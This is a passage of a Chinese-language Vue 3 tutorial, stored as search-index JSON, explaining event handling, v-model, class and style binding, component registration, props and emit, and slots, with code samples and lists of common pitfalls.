DOM（比如滚动到底部），默认 'pre' 时机读到的是旧 DOM。更稳的做法是 nextTick()（第十二章）。",{"id":133962,"title":22274,"titles":133963,"content":133964,"level":357},"\u002Ftutorials\u002Fvue3#附computed-watch-watcheffect-选择表",[17599,21418],"需求 用什么 理由 界面要显示一个算出来的值 computed 有缓存、纯函数、模板里读着舒服 值需要双向换算（可 v-model） 可写 computed get\u002Fset 成对写，不用手动同步 数据变了要发请求 \u002F 写存储 \u002F 埋点 watch 能拿旧值、能控制 deep\u002Fimmediate 依赖很多且都相关（搜索防抖） watchEffect + onCleanup 自动收集依赖，省去一长串监听列表 只想知道「渲染完成了」 onUpdated \u002F nextTick 见第十二章，别用 watch 代替生命周期 watch 选项 默认 说明 immediate false 创建时立刻用当前值执行一次回调 deep reactive 源为 true，其他 false 深层遍历比较，代价随对象体积增长 flush 'pre' 'pre' 组件更新前 \u002F 'post' 更新后（读 DOM） \u002F 'sync' 同步 once（3.5+） false 触发一次后自动停止，替代手写 stop()",{"id":133966,"title":22440,"titles":133967,"content":133968,"level":341},"\u002Ftutorials\u002Fvue3#六事件处理与-v-model表单是双向绑定的主战场",[17599],"事件是「用户操作 → 数据变化」，v-model 是「数据 ⇄ 表单控件」双向同步。两者都写在模板里，规则却不太一样：@ 后面那串是「语句或表达式」，v-model 背后其实是两个绑定。",{"id":133970,"title":36454,"titles":133971,"content":133972,"level":357},"\u002Ftutorials\u002Fvue3#事件click-后面能写什么",[17599,22440],"\u003Ctemplate>\n  \u003Cbutton @click=\"count++\">自增\u003C\u002Fbutton>                 \u003C!-- 内联表达式 -->\n  \u003Cbutton @click=\"add(2)\">加 2\u003C\u002Fbutton>                   \u003C!-- 内联调用，传自己的参数 -->\n  \u003Cbutton @click=\"onKey($event, 'save')\">带 $event\u003C\u002Fbutton>  \u003C!-- 需要事件对象时显式写 $event -->\n  \u003Cbutton @click=\"submit\">直接给函数引用\u003C\u002Fbutton>          \u003C!-- 参数是原生 event（或 emit 的载荷） -->\n\u003C\u002Ftemplate> 「写函数名」和「写函数名+括号」的差别很关键：@click=\"submit\" 会把原生 event 当第一个参数传进去；@click=\"submit()\" 则不传参。需要 event 又怕被别的东西污染，就显式写 $event。 function onKey(e, action) {\n  console.log(e.key, action)   \u002F\u002F e 是 KeyboardEvent\n}",{"id":133974,"title":36456,"titles":133975,"content":133976,"level":357},"\u002Ftutorials\u002Fvue3#修饰符省掉那些-estoppropagation",[17599,22440],"\u003Cform @submit.prevent=\"onSubmit\">              \u003C!-- 阻止默认提交（页面刷新） -->\n\u003Cdiv @click=\"outer\">\n  \u003Cbutton @click.stop=\"inner\">不冒泡\u003C\u002Fbutton>   \u003C!-- 只触发 inner -->\n  \u003Cbutton @click.self=\"outer\">只有点自己才触发\u003C\u002Fbutton>\n  \u003Cbutton @click.capture=\"log\">捕获阶段先走我\u003C\u002Fbutton>\n  \u003Cbutton @click.once=\"claim\">只能点一次\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\u003Cinput @keyup.enter=\"search\" @keyup.esc=\"clear\">\n\u003Cdiv @touchmove.passive=\"onMove\">滚动不阻塞\u003C\u002Fdiv>   \u003C!-- passive 里不能再 preventDefault --> .passive 用来给移动端滚动优化（告诉浏览器你不会阻止默认行为）；.prevent 与 .passive 冲突，同时写会收到警告。",{"id":133978,"title":22829,"titles":133979,"content":133980,"level":357},"\u002Ftutorials\u002Fvue3#v-model各控件里存的到底是什么",[17599,22440],"v-model=\"x\" 展开是 :value=\"x\" + @input=\"x = $event.target.value\"（组件上则是 modelValue + update:modelValue）。因为它是「语法糖」，不同控件下 x 的类型会不一样——这是本章最容易踩的地方，示例 06 把每种控件的当前值和类型实时打在旁边。 控件 v-model 绑的值 说明 \u003Cinput type=\"text\"> \u002F \u003Ctextarea> 字符串 输入即同步 \u003Cinput type=\"checkbox\">（单个） 布尔 想绑别的值要用 true-value \u002F false-value \u003Cinput type=\"checkbox\">（同组多个） 数组 勾中的 value 被 push 进数组 \u003Cinput type=\"radio\"> 被选中项的 value 同一组共用一个 v-model \u003Cselect> 选中项的值 加 multiple 时是数组 \u003Cinput type=\"date\"> 等 字符串 格式由浏览器控件决定 \u003Cinput v-model.number=\"age\">      \u003C!-- 尝试 parseFloat，失败保持原样 -->\n\u003Cinput v-model.trim=\"name\">       \u003C!-- change 时自动去首尾空格 -->\n\u003Cinput v-model.lazy=\"comment\">    \u003C!-- blur 才同步（长文本输入减少重渲染） -->\n\u003Cinput v-model=\"text\" :value=\"text\">  \u003C!-- 别这么写：v-model 会覆盖 value --> 三个修饰符的行为细节：.number 遇到空串会留下 '' 而不是 0（校验时注意）；.lazy 让同步发生在 change（失焦）而不是 input；.trim 与 .lazy 组合使用效果最好（失焦时才裁剪）。",{"id":133982,"title":23092,"titles":133983,"content":133984,"level":357},"\u002Ftutorials\u002Fvue3#事件与-v-model-的配合表单校验最小可用版",[17599,22440],"\u003Cscript setup>\nimport { reactive, computed } from 'vue'\nconst form = reactive({ name: '', age: '', agree: false })\nconst nameErr = computed(() => form.name.trim() ? '' : '姓名必填')\nconst canSubmit = computed(() => !nameErr.value && form.agree)\n\nfunction submit() {\n  if (!canSubmit.value) return\n  \u002F\u002F 提交逻辑：这里才真的发请求\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cform @submit.prevent=\"submit\">\n    \u003Cinput v-model.trim=\"form.name\" placeholder=\"姓名\">\n    \u003Cp v-if=\"nameErr\" class=\"err\">{{ nameErr }}\u003C\u002Fp>\n    \u003Cinput v-model.number=\"form.age\" type=\"number\" min=\"1\" placeholder=\"年龄\">\n    \u003Cinput id=\"agree\" v-model=\"form.agree\" type=\"checkbox\">\n    \u003Clabel for=\"agree\">同意条款\u003C\u002Flabel>\n    \u003Cbutton type=\"submit\" :disabled=\"!canSubmit\">提交\u003C\u002Fbutton>\n  \u003C\u002Fform>\n\u003C\u002Ftemplate> 这段是「入门级表单」的标准形状：数据源只有一个（form），校验用 computed 派生，提交用 @submit.prevent。别在 watch 里再维护一份 errors 数据，那是「两份状态要对齐」的老问题。",{"id":133986,"title":4796,"titles":133987,"content":133988,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-5",[17599,22440],"1. v-model 会忽略控件上写死的 value \u002F checked。 Vue 3 明确不允许在 v-model 上再用这些属性当初始值——初始值请到绑定的数据里给（ref('初始')）。想给 checkbox 绑自定义值用 true-value\u002Ffalse-value。 2. 单个 checkbox 上误用 value。 v-model=\"x\" value=\"A\"（x 是字符串）不会得到 'A'，会得到布尔值。想收集多选项必须是「数组型 v-model」：v-model=\"arr\" + 每个 input 带不同 value。 3. 组件标签上的 v-model 默认失效。 子组件没声明 modelValue props 也没 emit('update:modelValue') 时，输入界面有反应、父级数据纹丝不动。组件的 v-model 在第九章展开（一行 defineModel() 就能补齐）。 4. @keyup.enter 在中文输入法下不准。 输入法组合期间的按键事件会被打断，需要「按回车才搜索」的框建议监听 change 或加 @keyup.enter.native 时代的替代：直接用 @keyup=\"debouncedSearch\" + .lazy 组合，或监听 IME 的 compositionstart\u002Fend。 5. 事件监听器在 @ 上加了修饰符就不能再传 $event 以外的隐式参数。 @click=\"handle('a')\" 之后想拿事件对象，必须写全 @click=\"handle('a', $event)\"。 6. 复用同一个 v-model 到多个控件时小心互相覆盖。 一组 radio 共用一个 v-model 是对的；两个不同用途的输入框共用一个 v-model 就是 bug（会互相打字）。 7. v-model 配合 v-if 切换表单块，状态不会自动清。 DOM 销毁了，数据还在。需要「切步骤就清空」，用 :key=\"step\" 强制重建组件，或手动重置。 8. 表单里的 \u003Cbutton> 默认是 type=\"submit\"。 在 \u003Cform> 里加个「取消」按钮没写 type=\"button\"，一点就触发 submit。这是新手最常见的「为什么我点删除却提交了表单」。",{"id":133990,"title":23641,"titles":133991,"content":133992,"level":357},"\u002Ftutorials\u002Fvue3#附修饰符速查",[17599,22440],"类别 写法 效果 v-model .lazy change 事件才同步 v-model .number 尝试转数字（空串保持 ''） v-model .trim 去首尾空格 v-model 参数 v-model:title=\"t\" 指定组件上的模型名（对应 title + update:title） 事件 .stop \u002F .prevent \u002F .capture \u002F .self \u002F .once \u002F .passive 见上文代码块 事件修饰符 顺序有意义 .self 在前会拦掉后续处理 按键 .enter .tab .delete .esc .space .up .down .left .right 别名 系统键 .ctrl .shift .alt .meta + .exact .exact 表示「只能按这组键」",{"id":133994,"title":23805,"titles":133995,"content":23808,"level":341},"\u002Ftutorials\u002Fvue3#七class-与-style-绑定动态外观的正确写法",[17599],{"id":133997,"title":23812,"titles":133998,"content":133999,"level":357},"\u002Ftutorials\u002Fvue3#class对象语法与数组语法",[17599,23805],"\u003C!-- 对象：键是类名，值是布尔 -->\n\u003Cdiv :class=\"{ active: isActive, 'text-danger': hasError }\">\n\n\u003C!-- 对象整体绑定（把逻辑收进 computed，模板保持干净） -->\n\u003Cdiv :class=\"classObj\">\n\u003Cscript setup>\nconst classObj = computed(() => ({\n  active: props.isActive,\n  disabled: props.count === 0,\n  'is-large': props.size === 'large'\n}))\n\u003C\u002Fscript>\n\n\u003C!-- 数组：静态类 + 动态类混排 -->\n\u003Cdiv :class=\"[baseClass, isActive ? 'active' : 'inactive', extraClassObj]\">\n\n\u003C!-- 三元够用就别上对象；条件超过两个就用对象或 computed --> 含空格或多个类名的键必须加引号（'text-danger'），因为它是对象键而不是标识符。",{"id":134001,"title":23975,"titles":134002,"content":134003,"level":357},"\u002Ftutorials\u002Fvue3#style对象数组与-css-变量",[17599,23805],"\u003Cdiv :style=\"{ width: barWidth + '%' }\">\n\u003Cdiv :style=\"{ color: activeColor, 'font-size': fontSize + 'px' }\">   \u003C!-- 连字符属性要加引号 -->\n\u003Cdiv :style=\"[baseStyle, themeStyle]\">                                \u003C!-- 后者覆盖前者 -->\n\u003Cdiv :style=\"{ '--brand': brandColor }\">                              \u003C!-- CSS 变量 -->\n  \u003Cstyle>.box { border: 3px solid var(--brand); }\u003C\u002Fstyle> 三个约定：驼峰与连字符都能写（fontSize 或 'font-size'，连字符形式必须加引号）；多来源合并时数组后面的赢（所以别把 !important 当覆盖手段，示例 07 演示了正确做法是调数组顺序）；给组件库\u002F全局样式传值，CSS 变量是最干净的路（不必和对方的选择器权重打架）。",{"id":134005,"title":24116,"titles":134006,"content":134007,"level":357},"\u002Ftutorials\u002Fvue3#组件上的-class-落到哪单根继承多根要显式处理",[17599,23805],"\u003C!-- 单根子组件：class 自动合并到子组件根元素 -->\n\u003Ctag-chip class=\"is-primary\">Vue\u003C\u002Ftag-chip>\n\n\u003C!-- 多根子组件（fragment）：Vue 不知道往哪放，开发版直接警告 -->\n\u003Ctwo-root class=\"is-primary\">…\u003C\u002Ftwo-root> 多根组件要显式接收：\u003Cdiv v-bind=\"$attrs\"> 自己决定哪个根拿样式，或者 defineOptions({ inheritAttrs: false }) 后手动分发。示例 07 的最后一块现场触发了这条警告——这是很多人第一次写多根组件时莫名其妙丢样式的原因。",{"id":134009,"title":4796,"titles":134010,"content":134011,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-6",[17599,23805],"1. 字符串拼接 class 会覆盖静态 class。 class=\"btn\" :class=\"dynamicClass\" 是正确的合并写法；但写成 :class=\"'btn ' + type\" 时，一旦 type 为 undefined 就出现 btn undefined 这个假类名。用对象\u002F数组语法让 Vue 处理合并。 2. !important 之后谁也盖不住。 内联 !important 的优先级高于任何选择器（包括另一个内联声明）。样式不生效时先搜一遍 !important。 3. 连字符 CSS 属性写在对象里不加引号会报错。 :style=\"{ font-size: '14px' }\" 是非法 JS 对象字面量，必须 {'font-size': '14px'} 或改成驼峰 fontSize。 4. 同名类冲突：组件内部的 class 会被外部继承进来。 单根组件上写 class=\"active\"，若子组件根元素本来也有 .active 样式，两边规则合并后表现可能诡异。组件样式请用 scoped 或 BEM 前缀（第十八章）。 5. v-show 与 :style 打架。 v-show 靠改 display，你若同时绑定 :style=\"{ display: 'flex' }\"，隐藏后会被重新显示出来。要既隐藏又改 display，用 v-if 或把 display 也纳入 computed。 6. transition\u002Fanimation 的类名由 Vue 管理。 \u003CTransition name=\"fade\"> 需要 .fade-enter-from 等四个类，少写一个（尤其 -from）就没有过渡效果。这是「我的动画怎么不生效」的头号原因（示例见第十四章的 KeepAlive 部分配套说明）。 7. SVG 元素的 class 与 HTML 不同。 SVG 上用 class 绑定没问题，但 className 相关操作要留意；style 里的 fill、stroke 只能对 SVG 生效。给图标换色推荐 CSS 变量 + fill=\"var(--c)\"。",{"id":134013,"title":24327,"titles":134014,"content":134015,"level":357},"\u002Ftutorials\u002Fvue3#附动态样式速查",[17599,23805],"需求 推荐写法 单个开关类 :class=\"{ active: isActive }\" 二选一 :class=\"ok ? 'ok' : 'no'\" 多个类自由组合 :class=\"[base, { a: condA, b: condB }]\" 类多且逻辑复杂 :class=\"classObj\"（computed 里算） 数值型样式（宽度\u002F高度） :style=\"{ width: w + '%' }\" 主题色\u002F第三方样式传值 :style=\"{ '--brand': color }\" 多来源样式合并 :style=\"[base, override]\"（后者赢） 组件外层加样式 单根自动继承；多根用 v-bind=\"$attrs\"",{"id":134017,"title":24427,"titles":134018,"content":134019,"level":341},"\u002Ftutorials\u002Fvue3#八组件入门注册嵌套与渲染顺序",[17599],"组件就是把界面切成可复用的块：一个组件有模板、有逻辑、有自己的状态。页面上写 \u003Cuser-card>，Vue 负责把对应的组件实例创建出来并管理它的生命周期。",{"id":134021,"title":24437,"titles":134022,"content":134023,"level":357},"\u002Ftutorials\u002Fvue3#一个组件的最小形状",[17599,24427],"\u003C!-- components\u002FUserCard.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\nconst likes = ref(0)\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cdiv class=\"card\">\n    \u003Cslot \u002F>\n    \u003Cbutton @click=\"likes++\">赞 {{ likes }}\u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate> \u003Cscript setup> 是 Vue 3 的默认写法：顶层 import 的东西、const 声明的变量和函数，模板里都能直接用，不需要 return。",{"id":134025,"title":24582,"titles":134026,"content":134027,"level":357},"\u002Ftutorials\u002Fvue3#注册全局与局部",[17599,24427],"方式 代码 适合 单文件组件引入（推荐） import UserCard from '@\u002Fcomponents\u002FUserCard.vue'（\u003Cscript setup> 里 import 即可用） 一切项目 全局注册 app.component('UserCard', UserCard) 全站通用的小组件（图标、按钮），代价是失去 tree-shaking 组件内选项注册 components: { UserCard } 选项式老代码 异步注册 defineAsyncComponent(() => import('...')) 体积大、非首屏的组件（第十四章） 全局注册有个隐藏代价：打包时无法摇树，哪怕某个页面用不到也会被带上；所以主流做法是「按需 import + \u003Cscript setup>」，只把图标、按钮这类真正的全局件放插件里注册。",{"id":134029,"title":24666,"titles":134030,"content":134031,"level":357},"\u002Ftutorials\u002Fvue3#嵌套与渲染顺序",[17599,24427],"\u003Cscript setup>\nimport Panel from '.\u002FPanel.vue'\n\u003C\u002Fscript>\n\u003Ctemplate>\n  \u003Cdiv class=\"page\">\n    \u003CPanel title=\"第一块\">内容 A\u003C\u002FPanel>\n    \u003CPanel title=\"第二块\">内容 B\u003C\u002FPanel>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate> 组件树按「父 setup → 父 render → 子 setup → 子 render → 子 mounted → 父 mounted」推进：先自顶向下建好，再自底向上通知「已挂载」。这个顺序解释了为什么父组件 onMounted 里能拿到子组件渲染出来的 DOM。 同一个组件可以在一个页面里出现多次，每个实例的状态各自独立（示例 13 的组合式函数复用也建立在这一点上）。组件自己 \u003Ctemplate> 里的初始状态来自它自己 setup 里的 ref，不是共享变量——注意别把状态写到组件文件顶层的模块级变量里，那会变成「所有实例共享」的意外全局状态。 \u002F\u002F ✗ 反例：模块级状态，所有实例共享\nconst shared = ref(0)\nexport default { setup() { return { shared } } }\n\n\u002F\u002F ✓ 正解：状态在 setup 内部创建，每个实例一份\nexport default { setup() { const own = ref(0); return { own } } }",{"id":134033,"title":24894,"titles":134034,"content":134035,"level":357},"\u002Ftutorials\u002Fvue3#命名与保留名",[17599,24427],"组件名用 PascalCase（UserCard）在 .vue 里，模板里也可写 kebab-case（\u003Cuser-card>），两者等价；浏览器 in-DOM 模板只能用 kebab-case。 组件名不能与 HTML 保留元素冲突（component、template、slot、transition、keep-alive 以及原生标签），Vue 会警告 Do not use reserved names。 is 是 HTML 的保留属性，动态组件要用 \u003Ccomponent :is=\"...\">（第十四章）。 递归组件必须有可发现的名字：单文件组件用文件名自动推断，其它写法要显式 name 或 defineOptions({ name: 'TreeNode' })。 示例 08 的第三块把三层组件的 setup \u002F mounted 打印成带时间戳的日志，点「重播」能看到顺序真的重跑一遍。",{"id":134037,"title":4796,"titles":134038,"content":134039,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-7",[17599,24427],"1. import 了却「找不到组件」。 常见原因是路径后缀漏了 .vue（构建工具默认不解析裸 .vue 扩展名）、或大小写不对（Windows 本地能跑，Linux 构建直接失败）。这是「本地好使、CI 挂了」的头号元凶。 2. 全局注册要在 mount 之前。 注册晚于挂载时，已经渲染出来的那段模板不会回头重算，late-badge 这类组件只可能在后续渲染里被解析到（行为不稳、也不该依赖）。约定：所有 app.component() \u002F app.use() 都写在 app.mount() 前面。 3. 组件名与原生标签重名。 注册 \u003CButton> 是允许的（PascalCase 不冲突），但注册 button 会覆盖原生标签，出现离谱行为。图标\u002F按钮类组件统一加前缀（BaseButton、AppButton）能避免大量麻烦。 4. 状态写在模块顶层。 上面那段反例——const shared = ref(0) 放在文件顶层（defineStore 除外），多实例共享，出现「改了 A 的数据 B 也跟着变」。 5. 多根组件（fragment）带来 attrs 继承问题。 组件顶层并列两个 \u003Cdiv> 时，父级传下来的 class、style、@click 无处可放，开发版会警告「Extraneous non-props attributes」。解决：合并成单根、或显式 v-bind=\"$attrs\"。 6. key 加在组件上是给 Vue 的，不是给组件的。 \u003Cuser-card :key=\"id\"> 用来强制重建实例（切换用户时清掉内部状态），别指望它在组件 props 里出现。 7. 组件模板里的注释会进渲染结果。 \u003C!-- ... --> 默认被保留进 DOM（除非构建配置移除），大段说明文字建议放 \u003Cscript> 上方而不是模板里。",{"id":134041,"title":25074,"titles":134042,"content":134043,"level":357},"\u002Ftutorials\u002Fvue3#附组件组织速查",[17599,24427],"问题 建议 组件放哪 全局共享的进 app\u002Fcomponents\u002F（Nuxt）或 src\u002Fcomponents\u002F；单页专用的可与页面同目录 命名 多词 PascalCase：UserCard；基础组件加前缀：BaseButton；单一实例加 App：AppSidebar 何时拆组件 一个块被用了 2 次以上 \u002F 单文件超过 200 行 \u002F 有独立状态要自管 何时别拆 只为「看起来整齐」而拆的模板片段——反而要穿多层传 props 传递数据 props 向下、emit 向上（第九章）；深层用 provide\u002Finject（第十三章）或 store（第十五章）",{"id":134045,"title":25149,"titles":134046,"content":134047,"level":341},"\u002Ftutorials\u002Fvue3#九props-与-emit父子之间的规矩",[17599],"组件通信的地基是两条：props 向下传数据，emit 向上传事件。核心纪律叫「单向数据流」——子组件不能改父组件传下来的 props，只能读、只能在本地复制一份再改。",{"id":134049,"title":25160,"titles":134050,"content":134051,"level":357},"\u002Ftutorials\u002Fvue3#props声明类型默认值",[17599,25149],"\u003C!-- UserCard.vue -->\n\u003Cscript setup>\nconst props = defineProps({\n  name: { type: String, required: true },\n  level: { type: Number, default: 1 },\n  tags: { type: Array, default: () => [] },      \u002F\u002F 对象\u002F数组必须用工厂函数\n  meta: { type: Object, default: () => ({}) },\n  size: { type: String, validator: (v) => ['s', 'm', 'l'].includes(v) }\n})\n\n\u002F\u002F 也可以只列类型（简写）\n\u002F\u002F defineProps(['name', 'level'])\n\u003C\u002Fscript> 用类型声明的 String | Number 写作 [String, Number]。校验只在开发版生效（示例 09 把警告接到了迷你控制台里），生产构建里被剥掉——所以它是「写代码时的护栏」，不是运行时保障。 模板里传值的对照，务必分清： 写法 传过去的值 :count=\"1\" 数字 1 count=\"1\" 字符串 \"1\" :count=\"raw\" raw 变量的值 :is-ok 布尔 true（缺省即 true，仅 Boolean 类型 props 有这个糖） v-bind=\"allProps\" 展开对象里所有字段",{"id":134053,"title":25394,"titles":134054,"content":134055,"level":357},"\u002Ftutorials\u002Fvue3#props-只读想改就复制",[17599,25149],"\u003Cscript setup>\nimport { ref, watch } from 'vue'\nconst props = defineProps({ title: String })\n\n\u002F\u002F ✗ 直接改：开发版警告「Avoid mutating a prop directly」\n\u002F\u002F props.title = '新值'\n\n\u002F\u002F ✓ 本地副本 + 同步\nconst local = ref(props.title)\nwatch(() => props.title, (v) => { local.value = v })\n\u003C\u002Fscript> 如果父子要双向同步，那是 v-model 的活（下面第三段）。",{"id":134057,"title":25517,"titles":134058,"content":134059,"level":357},"\u002Ftutorials\u002Fvue3#emit向上传事件",[17599,25149],"\u003C!-- Child.vue -->\n\u003Cscript setup>\nconst emit = defineEmits(['like', 'rename', { submit: (payload) => typeof payload === 'string' }])\nfunction tap() { emit('like', 1) }\n\u003C\u002Fscript>\n\n\u003C!-- Parent.vue -->\n\u003Cchild @like=\"count += $event\" @rename=\"name = $event\" @submit=\"onSubmit\" \u002F> 声明 emits 有两个实际好处：父组件监听时 IDE 有提示；未在 emits 里声明的「事件风格」监听（@xyz）会被当成原生事件透传到根元素，导致触发两次。声明了 emits，Vue 就知道它不是 DOM 事件。",{"id":134061,"title":25706,"titles":134062,"content":134063,"level":357},"\u002Ftutorials\u002Fvue3#组件上的-v-model",[17599,25149],"Vue 3 里 v-model 在组件上等价于「modelValue prop + update:modelValue 事件」，并且支持带参数： \u003C!-- 手写完整版 -->\n\u003Cscript setup>\nconst props = defineProps({ modelValue: String })\nconst emit = defineEmits(['update:modelValue'])\n\u003C\u002Fscript>\n\u003Ctemplate>\u003Cinput :value=\"props.modelValue\" @input=\"emit('update:modelValue', $event.target.value)\">\u003C\u002Ftemplate>\n\n\u003C!-- 父组件用法 -->\n\u003Cbase-input v-model=\"form.name\" \u002F>\n\u003Cprice-field v-model:price=\"item.price\" v-model:count=\"item.count\" \u002F> defineModel()（Vue 3.4+）把上面那一大段压缩成一行，新项目推荐： \u003Cscript setup>\nconst model = defineModel()                       \u002F\u002F 对应 v-model\nconst price = defineModel('price', { type: Number, default: 0 })  \u002F\u002F 对应 v-model:price\n\u003C\u002Fscript>\n\u003Ctemplate>\u003Cinput v-model=\"model\">\u003C\u002Ftemplate>",{"id":134065,"title":36483,"titles":134066,"content":134067,"level":357},"\u002Ftutorials\u002Fvue3#兜底透传attrs",[17599,25149],"父组件传了一堆没被子组件 props 声明的东西（class、data-*、@click、未知属性），它们汇总在 $attrs 里。封装第三方组件时几乎必然用到： \u003Ctemplate>\n  \u003Cel-input v-bind=\"$attrs\" :model-value=\"text\" @update:model-value=\"text = $event\" \u002F>\n\u003C\u002Ftemplate> 示例 09 的第二块是本教程最重要的一条警告现场：子组件里 props.count++ 会打出「Avoid mutating a prop directly」；换成 emit('inc') 由父级改，数据就真的变了。",{"id":134069,"title":4796,"titles":134070,"content":134071,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-8",[17599,25149],"1. 数组\u002F对象的 default 忘了工厂函数。 default: [] 会让所有实例共享同一个数组（Vue 直接报错要求写成 () => []）。这个强制要求反而帮你避开了一个经典 bug。 2. Boolean 类型的「缺省即 true」。 :disabled 不写值时 props 收到 true；但 disabled=\"\"、disabled 这类 HTML 写法混进来时容易和 String 类型的 props 冲突。同一个 props 不要同时声明 Boolean 和 String，除非清楚这套推断规则。 3. 子组件改 props 里的对象「不报错」。 单向数据流只防「重新赋值 props」，props.user.name = 'x' 这种深层修改 Vue 拦不住（严格来说 readonly 代理会给出警告，但很多人直接把它绕过去了）。约定：深层可改的数据要么交给父级改（emit），要么复制一份本地副本。 4. props 大小写。 模板里传 user-name，子组件声明 userName，Vue 会自动转换——但在浏览器 in-DOM 模板里 :userName=\"x\" 被转成小写后就对不上了。项目里统一 kebab-case 传值最省心。 5. 事件名大小写。 emit('updateName') 与父级 @update-name 不匹配（@ 监听在 in-DOM 模板里是小写）。事件名建议一律 kebab-case。 6. 忘记声明 emits，事件被当原生事件。 结果可能是点击触发两次（一次自定义、一次透传到根 DOM）。上一节说过，这也是要声明 emits 的核心理由。 7. 用 props 解构断掉响应性。 const { title } = defineProps(...) 后 title 是普通值（3.5 之前）；老教程里满大街这种写法。安全做法：props.title，或 toRef(props, 'title')。 8. 父级用 v-model 但子组件只声明了 props: ['value']（Vue 2 习惯）。 Vue 3 里模型名变了（modelValue），旧写法静默失效、无任何警告——这是升级项目里最隐蔽的一类 bug。 9. defineProps \u002F defineEmits 只能写在 \u003Cscript setup> 顶层。 它们是编译器宏（不需要 import），也不能放进函数里调用。看到「找不到 defineProps」多半是误加了 import 或写错了 script 块。",{"id":134073,"title":26227,"titles":134074,"content":134075,"level":357},"\u002Ftutorials\u002Fvue3#附父子通信方式对照",[17599,25149],"场景 方案 备注 父 → 子 props 只读，类型\u002F默认值\u002F校验都能声明 子 → 父 emit 事件名 kebab-case，可带载荷 父 ⇄ 子（表单值） v-model \u002F defineModel() 一个组件可有多模型 v-model:xxx 父 → 深层子孙 provide \u002F inject 第十三章 全局共享状态 Pinia 第十五章 调用子组件方法 模板 ref + defineExpose 第十四章，最后手段 未声明属性\u002F事件透传 v-bind=\"$attrs\" 封装第三方组件必用",{"id":134077,"title":26340,"titles":134078,"content":26343,"level":341},"\u002Ftutorials\u002Fvue3#十slot-插槽把内容塞进组件",[17599],{"id":134080,"title":26346,"titles":134081,"content":134082,"level":357},"\u002Ftutorials\u002Fvue3#三种插槽",[17599,26340],"\u003C!-- CardBox.vue -->\n\u003Ctemplate>\n  \u003Csection class=\"card\">\n    \u003Cheader>\u003Cslot name=\"header\">默认标题\u003C\u002Fslot>\u003C\u002Fheader>\n    \u003Cmain>\u003Cslot>这里是默认插槽的兜底内容\u003C\u002Fslot>\u003C\u002Fmain>\n    \u003Cfooter>\u003Cslot name=\"footer\" \u002F>\u003C\u002Ffooter>\n  \u003C\u002Fsection>\n\u003C\u002Ftemplate>\n\n\u003C!-- 父组件使用 -->\n\u003Ccard-box>\n  \u003Ctemplate #header>\n    \u003Ch3>用户列表\u003C\u002Fh3>\n  \u003C\u002Ftemplate>\n\n  \u003Cp>默认插槽的内容写在这里，不用 template 包也行\u003C\u002Fp>\n\n  \u003Ctemplate #footer>\n    \u003Cbutton>关闭\u003C\u002Fbutton>\n  \u003C\u002Ftemplate>\n\u003C\u002Fcard-box> 规则要点：只有一个默认插槽时可以不写 \u003Ctemplate>；具名插槽必须写在 \u003Ctemplate #名字> 上；子组件里 \u003Cslot> 之间的内容就是「父级没传时的兜底」。",{"id":134084,"title":26559,"titles":134085,"content":134086,"level":357},"\u002Ftutorials\u002Fvue3#作用域插槽数据归子组件长相归父组件",[17599,26340],"插槽内容的作用域属于父组件，拿不到子组件的数据。要让父级按子组件的每行数据自定义渲染，就用作用域插槽（把数据当 props 传给 \u003Cslot>）： \u003C!-- UserList.vue -->\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Cdiv v-for=\"(row, i) in rows\" :key=\"row.id\">\n      \u003Cslot name=\"row\" :row=\"row\" :index=\"i\" :odd=\"i % 2 === 1\">\n        \u003C!-- 没自定义时用一个朴素的兜底 -->\n        \u003Cspan>{{ row.name }}\u003C\u002Fspan>\n      \u003C\u002Fslot>\n    \u003C\u002Fdiv>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003C!-- 父组件：同一份数据，两种外观 -->\n\u003Cuser-list :rows=\"users\">\n  \u003Ctemplate #row=\"{ row, odd }\">\n    \u003Cspan :class=\"{ zebra: odd }\">{{ row.name }} · {{ row.level }}\u003C\u002Fspan>\n  \u003C\u002Ftemplate>\n\u003C\u002Fuser-list>\n\n\u003Cuser-list :rows=\"users\">\n  \u003Ctemplate #row=\"{ row }\">\n    \u003Cel-tag>{{ row.name }}\u003C\u002Fel-tag>\n  \u003C\u002Ftemplate>\n\u003C\u002Fuser-list> 这是 Vue 里做「可定制表格 \u002F 下拉选项 \u002F 树节点」的标准手法，也是 element-plus、vuetify 这类库文档里最容易被跳过、却最值钱的一节。",{"id":134088,"title":36491,"titles":134089,"content":134090,"level":357},"\u002Ftutorials\u002Fvue3#动态插槽名与-v-slot-全貌",[17599,26340],"\u003Ctemplate #[item]=\"data\">        \u003C!-- 方括号里放变量，名字动态决定 -->\n\u003Ctemplate v-slot:header=\"props\"> \u003C!-- 完整写法，作用域数据整体接住 --> # 是 v-slot: 的缩写。在浏览器 in-DOM 模板里请用 v-slot:header 完整写法——# 不是合法的 HTML 属性名字符，某些解析路径下会被丢掉（示例 10 有对照）。 Vue 2 的 slot=\"header\" 属性写法和 slot-scope 都已废弃，升级老代码时全局搜这两个词。 示例 10 的第三块是「同一份数据两种外观」：表格版和卡片版共用同一个 \u003Cuser-list>，只有作用域插槽不同。",{"id":134092,"title":4796,"titles":134093,"content":134094,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-9",[17599,26340],"1. 具名插槽的内容直接写在组件里，会全进默认插槽。 \u003Ccard-box>\u003Ch3 #header>标题\u003C\u002Fh3>\u003C\u002Fcard-box> 这种「把 #header 加在普通元素上」在 Vue 3 里不合法（v-slot 只能用在 \u003Ctemplate> 或组件上），内容会落进默认插槽或触发警告。 2. 插槽内容里访问不到子组件的数据。 这是设计如此（编译作用域归父级），不是 bug。要数据就得走作用域插槽——新手常在这里绕一大圈。 3. 传了插槽但子组件里没有 \u003Cslot>。 开发版警告「Extraneous non-emits event listeners \u002F Slot content was provided」，内容被静默丢弃。封装组件时先确认 \u003Cslot> 写全了。 4. 同一个作用域插槽内容会被求值多次。 在插槽里读 $slots.row(...) 